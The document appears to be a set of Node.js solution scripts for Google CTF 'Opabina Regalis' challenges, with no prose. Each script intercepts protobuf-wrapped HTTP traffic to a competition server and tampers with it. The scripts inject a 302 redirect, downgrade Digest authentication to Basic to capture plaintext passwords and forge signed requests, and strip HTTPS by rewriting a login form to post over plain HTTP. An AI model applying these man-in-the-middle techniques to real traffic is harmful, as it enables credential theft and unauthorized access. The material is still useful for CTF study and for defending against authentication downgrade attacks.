GCTF Opabina Regalis

302.js

var fs = require("fs");
var p = require("node-protobuf");
var pb = new p(fs.readFileSync("out.desc"));
var tls = require('tls');
var crypto = require('crypto');
var http = require("http");


var conn = tls.connect(13001, 'ssl-added-and-removed-here.ctfcompetition.com', (socket) =>  {
  console.log('Connected');
});
var lastreq,lastres;
var realm,nonce,opaque;

conn.on("data", function (data) {
  console.log(data.readUInt32LE(0), data.length);
  var buf2 = data.slice(4);
  var newObj = pb.parse(buf2, "main.Exchange");
  console.log(newObj);
  // console.log(data);
  //
  if(newObj.reply){
    lastres = newObj.reply;
    console.log(newObj.reply.headers);
    console.log(newObj.reply.body.toString());
    if(lastreq.request.uri != '/protected/secret'){
      newObj.reply.status = 302;
      newObj.reply.headers.push({
        'key':'Location',
        'value':'/protected/secret'
      });
    }
    sendReq(newObj);


  }else{
    lastreq = newObj;
    console.log(newObj.request.headers);
    sendReq(newObj);
  }
});

function sendReq(newObj) {
  var bufx = pb.serialize(newObj, "main.Exchange");
  var sb = new Buffer(bufx.length + 4);
  sb.writeUInt32LE(bufx.length, 0);
  bufx.copy(sb,4);
  conn.write(sb);
}

conn.on("end", function (data) {
  console.log('Disconnected');
});

Downgrade Attack.js

var fs = require("fs");
var p = require("node-protobuf");
var pb = new p(fs.readFileSync("out.desc"));
var tls = require('tls');
var crypto = require('crypto');
var http = require("http");

function md5(t) {
  return crypto.createHash('md5').update(t).digest('hex');
}

function CalcPass(name,realm,pw,method,uri,nonce,nc,cnonce) {
  var HA1= md5(name + ':' + realm + ':' + pw);
  var HA2= md5(method + ':' + uri);
  var response= md5(HA1 + ':' + nonce + ':' + nc + ':' + cnonce + ':' + 'auth' + ':' + HA2);
  return response;
}

function getAuth(uname,realm, pw, nonce,method, uri,opaque) {
  var p = CalcPass(uname, realm , pw , method, uri, nonce, '00000001', '0a4f113b');
  var d = 'Digest username="' + uname + '",realm="' + realm + '",nonce="' + nonce + '",uri="' + uri + '",qop=auth,nc=00000001,cnonce="0a4f113b",response="' + p + '",opaque="' + opaque + '"';
  return d;
}

var conn = tls.connect(20691, 'ssl-added-and-removed-here.ctfcompetition.com', (socket) =>  {
  console.log('Connected');
});
var lastreq,lastres;
var realm,nonce,opaque;

conn.on("data", function (data) {
  console.log(data.readUInt32LE(0), data.length);
  var buf2 = data.slice(4);
  var newObj = pb.parse(buf2, "main.Exchange");
  console.log(newObj);
  if(newObj.reply){
    lastres = newObj.reply;
    console.log(newObj.reply.headers);
    console.log(newObj.reply.body.toString());
    for (var i = 0; i < newObj.reply.headers.length; i++) {
      var a = newObj.reply.headers[i];
      if(a.key == 'WWW-Authenticate'){
        var autharr = a.value.split(',');
        for (var ix = 0; ix < autharr.length; ix++) {
          if(!autharr[ix]){
            continue;
          }
          var xa = autharr[ix].split('=');
          var v = xa[1].replace(/\"/g,'');
          var k = xa[0];
          if(k == 'Digest realm'){
            realm = v;
          }else if(k == 'nonce'){
            nonce = v;
          }else if(k == 'opaque'){
            opaque = v;
          }
        }
        newObj.reply.headers[i].value = 'Basic realm=' + realm;
      }
    }


    if(lastreq.reptime == 1){
      return;
    }else{
      sendReq(newObj);
      lastreq.reptime = 1;
    }


  }else{
    newObj.request.uri = '/protected/secret';
    for (var i in newObj.request.headers) {
      var a = newObj.request.headers[i];
      if(a.key == 'Authorization'){
        var s = a.value.replace('Basic ','');
        var b = new Buffer(s, 'base64').toString();
        var uname = b.split(':')[0];
        var pw = b.split(':')[1];
        var av = getAuth(uname,realm,pw,nonce,'GET',newObj.request.uri,opaque);
        newObj.request.headers[i].value = av;
      }
    }
    lastreq = newObj;
    console.log(newObj.request.headers);
    sendReq(newObj);
  }
});

function sendReq(newObj) {
  var bufx = pb.serialize(newObj, "main.Exchange");
  var sb = new Buffer(bufx.length + 4);
  sb.writeUInt32LE(bufx.length, 0);
  bufx.copy(sb,4);
  conn.write(sb);
}

conn.on("end", function (data) {
  console.log('Disconnected');
});

Input Validation.js

var fs = require("fs");
var p = require("node-protobuf");
var pb = new p(fs.readFileSync("out.desc"));
var tls = require('tls');
var crypto = require('crypto');
var http = require("http");

function md5(t) {
  return crypto.createHash('md5').update(t).digest('hex');
}

function CalcPass(name,realm,pw,method,uri,nonce,nc,cnonce) {
  var HA1= md5(name + ':' + realm + ':' + pw);
  var HA2= md5(method + ':' + uri);
  var response= md5(HA1 + ':' + nonce + ':' + nc + ':' + cnonce + ':' + 'auth' + ':' + HA2);
  return response;
}

function getAuth(uname,realm, pw, nonce,method, uri,opaque) {
  var p = CalcPass(uname, realm , pw , method, uri, nonce, '00000001', '0a4f113b');
  var d = 'Digest username="' + uname + '",realm="' + realm + '",nonce="' + nonce + '",uri="' + uri + '",qop=auth,nc=00000001,cnonce="0a4f113b",response="' + p + '",opaque="' + opaque + '"';
  return d;
}

var conn = tls.connect(12001, 'ssl-added-and-removed-here.ctfcompetition.com', (socket) =>  {
  console.log('Connected');
});
var lastreq,lastres;
var realm,nonce,opaque;

conn.on("data", function (data) {
  console.log(data.readUInt32LE(0), data.length);
  var buf2 = data.slice(4);
  var newObj = pb.parse(buf2, "main.Exchange");
  console.log(newObj);
  if(newObj.reply){
    lastres = newObj.reply;
    console.log(newObj.reply.headers);
    console.log(newObj.reply.body.toString());
    for (var i = 0; i < newObj.reply.headers.length; i++) {
      var a = newObj.reply.headers[i];
      if(a.key == 'WWW-Authenticate'){
        var autharr = a.value.split(',');
        for (var ix = 0; ix < autharr.length; ix++) {
          if(!autharr[ix]){
            continue;
          }
          var xa = autharr[ix].split('=');
          var v = xa[1].replace(/\"/g,'');
          var k = xa[0];
          if(k == 'Digest realm'){
            realm = v;
          }else if(k == 'nonce'){
            nonce = v;
          }else if(k == 'opaque'){
            opaque = v;
          }
        }
        newObj.reply.headers[i].value = 'Basic realm=' + realm;
      }
    }

    if(lastreq.reptime == 1){
      return;
    }else{
      sendReq(newObj);
      lastreq.reptime = 1;
    }
  }else{
    newObj.request.uri = '/protected/token';
    for (var i in newObj.request.headers) {
      var a = newObj.request.headers[i];
      if(a.key == 'Authorization'){
        var s = a.value.replace('Basic ','');
        var b = new Buffer(s, 'base64').toString();
        var uname = b.split(':')[0];
        var pw = b.split(':')[1];
        var av = getAuth(uname,realm,pw,nonce,'GET',newObj.request.uri,opaque);
        newObj.request.headers[i].value = av;
      }
    }
    lastreq = newObj;
    console.log(newObj.request.headers);
    sendReq(newObj);
  }
});

function sendReq(newObj) {
  var bufx = pb.serialize(newObj, "main.Exchange");
  var sb = new Buffer(bufx.length + 4);
  sb.writeUInt32LE(bufx.length, 0);
  bufx.copy(sb,4);
  conn.write(sb);
}

conn.on("end", function (data) {
  console.log('Disconnected');
});

SSL Stripe.js

var fs = require("fs");
var p = require("node-protobuf");
var pb = new p(fs.readFileSync("out.desc"));
var tls = require('tls');
var crypto = require('crypto');
var http = require("http");
var net = require('net');

var conn = tls.connect(19121, 'ssl-added-and-removed-here.ctfcompetition.com', (socket) =>  {
  console.log('Connected');
});
var lastreq,lastres;
var realm,nonce,opaque;

conn.on("data", function (data) {
  console.log(data.readUInt32LE(0), data.length);
  var buf2 = data.slice(4);
  var newObj = pb.parse(buf2, "main.Exchange");
  console.log(newObj);

  if(newObj.reply){
    lastres = newObj.reply;
    newObj.reply.body = '          <form method="POST" action="http://elided/user/sign_in" class="navbar-form navbar-right">\
            <div class="form-group">\
              <input name="email" type="text" placeholder="Email" class="form-control">\
            </div>\
            <div class="form-group">\
              <input type="password" name="password" placeholder="Password" class="form-control">\
            </div>\
            <button type="submit" class="btn btn-success">Sign in</button>\
          </form>\
';
    console.log(newObj.reply.headers);
    console.log(newObj.reply.body.toString());
    sendReq(newObj);


  }else{
    newObj.request.headers.push({
      'key':'X-Forwarded-Proto',
      'value':'https'
    });
    newObj.request.headers.push({
      'key':'scheme',
      'value':'https'
    });
    lastreq = newObj;
    console.log(newObj.request.headers);
    sendReq(newObj);
  }
});

function sendReq(newObj) {
  var bufx = pb.serialize(newObj, "main.Exchange");
  var sb = new Buffer(bufx.length + 4);
  sb.writeUInt32LE(bufx.length, 0);
  bufx.copy(sb,4);
  conn.write(sb);
}

conn.on("end", function (data) {
  console.log('Disconnected');
});

Token Fetch.js

var fs = require("fs");
var p = require("node-protobuf");
var pb = new p(fs.readFileSync("out.desc"));

var tls = require('tls');

var conn = tls.connect(1876, 'ssl-added-and-removed-here.ctfcompetition.com', (socket) =>  {
  console.log('Connected');
});

conn.on("data", function (data) {
  console.log(data.readUInt32LE(0), data.length);
  var buf2 = data.slice(4);
  var newObj = pb.parse(buf2, "main.Exchange");
  console.log(newObj);
  if(newObj.reply){
    console.log(newObj.reply.headers);
    console.log(newObj.reply.body.toString());
  }else{
    newObj.request.uri = '/token';
    var bufx = pb.serialize(newObj, "main.Exchange");
    var sb = new Buffer(bufx.length + 4);
    sb.writeUInt32LE(bufx.length, 0);
    bufx.copy(sb,4);
    console.log(sb);
    console.log(bufx.length,sb.length);
    conn.write(sb);
  }
});

conn.on("end", function (data) {
  console.log('Disconnected');
});